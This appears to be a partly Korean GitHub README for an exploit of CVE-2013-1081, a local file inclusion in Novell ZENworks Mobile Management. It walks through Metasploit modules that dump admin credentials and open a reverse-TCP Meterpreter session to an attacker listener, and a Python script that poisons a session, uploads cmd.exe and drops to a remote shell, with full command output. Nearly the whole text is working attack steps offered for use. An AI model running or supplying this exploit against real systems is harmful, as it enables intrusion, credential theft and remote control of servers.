steponequit/cve-2013-1081Novell ZENworks Mobile Management - LFI RCE
이 스크립트는 Novell Zenworks 모바일 기기 관리(MDM)에 존재하는 로컬 파일 포함(LFI) 취약점을 이용합니다.
Metasploit 모듈 -
msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options
Module options (auxiliary/scanner/http/novell_mdm_creds):
Name Current Setting Required Description
Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host
msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run
[] Verifying that Zenworks login page exists at 192.168.20.133 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [+] Got creds. Login:Admin1 Password:password1 [+] Access the admin interface here: 192.168.20.133:80/dashboard/ [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
msf > use exploit/windows/http/novell_mdm_lfi
msf exploit(novell_mdm_lfi) > show options
Module options (exploit/windows/http/novell_mdm_lfi):
Name Current Setting Required Description
Proxies no Use a proxy chain RHOST 192.168.20.133 yes The target address RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.20.131 yes The listen address LPORT 4444 yes The listen port
msf exploit(novell_mdm_lfi) > exploit
[] Started reverse handler on 192.168.20.131:4444 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [] Setting up poisoned session [] Uploading payload [] Executing payload [] Sending stage (751104 bytes) to 192.168.20.133 [] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.133:4725) at 2013-06-04 09:39:20 -0700
meterpreter >
Python 스크립트 -
포함된 "cmd.exe"는 win2k3에서 가져온 것으로, 대상에 따라 결과가 다를 수 있습니다. 현재 '쉘'은 매우 불안정하지만, 업로드된 실행 파일을 원하는 것으로 쉽게 교체할 수 있을 것입니다.
실행 예시:
python sploit.py http://192.168.20.133
[] Session Poisoned, Retrieving Creds.
[+] Credentials User: Admin1 Password: password1
[!] Log into the administrative interface at: http://192.168.20.133/dashboard/
[] Staging exe to run
[*] Dropping to shell, type 'exit' to quit.
#:net user
user_agent|s:34:"
User accounts for \STEPONEQ-1B78B2
Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.
";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2
";$error|s:12:"Login Failed";
